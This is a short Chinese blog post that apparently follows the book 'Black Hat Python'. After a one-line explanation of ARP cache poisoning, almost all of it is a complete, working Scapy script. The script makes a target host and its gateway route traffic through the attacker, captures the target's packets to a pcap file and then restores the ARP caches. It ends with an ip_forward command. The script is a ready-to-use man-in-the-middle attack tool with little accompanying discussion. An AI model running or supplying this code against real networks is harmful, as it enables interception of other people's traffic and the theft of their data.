arp投毒

ARP缓存投毒

基本原理:欺骗目标主机使其确幸我们攻击的主机就是他的网关,再伪装成目标机器欺骗网关,使得所有流量通过攻击主机

from scapy.all import *
import os 
import sys 
import threading
import signal

#恢复arp
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    print "[*] Restoring target..."
    send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
    os.kill(os.getpid(),signal.SIGINT)

#获取目标地址的mac地址
def get_mac(ip_adress):
    response,unanswered=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_adress),timeout=2,retry=10)
    
    for s,r in response:
        return r[Ether].src
    return None

#arp投毒
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    poison_target=ARP()
    poison_target.op=2
    poison_target.psrc=gateway_ip
    poison_target.pdst=target_ip
    poison_target.hwdst=target_mac
    
    poison_gateway=ARP()
    poison_gateway.op=2
    poison_gateway.psrc=target_ip
    poison_gateway.pdst=gateway_ip
    poison_gateway.hwdst=gateway_mac
    
    
    print "[*] Beginning the ARP posion."
    
    while True:
        try:
            #发送arp包修改目标网关的arp缓存
            send(poison_target)
            send(poison_gateway)
            
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    
    print "[*] ARP poison attack finished."
    return 


interface = "eth0"
#目标主机ip
target_ip= "192.168.65.128"
#目标主机网关ip
gateway_ip = "192.168.65.2"
packet_count=1000

#设置嗅探网卡
conf.iface=interface
#关闭输出
conf.verb=0

print ("[*] Setting up %s " % interface)

gateway_mac=get_mac(gateway_ip)
if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC."
    sys.exit(0)
else:
    print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)

target_mac=get_mac(target_ip)
if target_mac is None:
    print "[!!!] Failed to get target MAC."
    sys.exit()
else :
    print "[*] Target %s is at %s"% (target_ip,target_mac)

#启动投毒线程
poison_thread = threading.Thread(target=poison_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
    print "[*] Startiing sniffer for %d packets" % packet_count
    bpf_filter = "ip host %s " % target_ip
    #将捕获到的数据包输出到文件
    packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
    wrpcap('arper.pcap',packets)
    
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    
except:
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    sys.exit(0)

攻击主机开启对网关和目标主机的流量转发功能

echo 1 > /proc/sys/net/ipv4/ip_forward

目标主机攻击前

开始攻击

攻击后

参考资料 《python黑帽子 黑客与渗透测试编程之道》

posted @ 2020-01-18 16:12  moonstars2333  阅读(446)  评论(0)    收藏  举报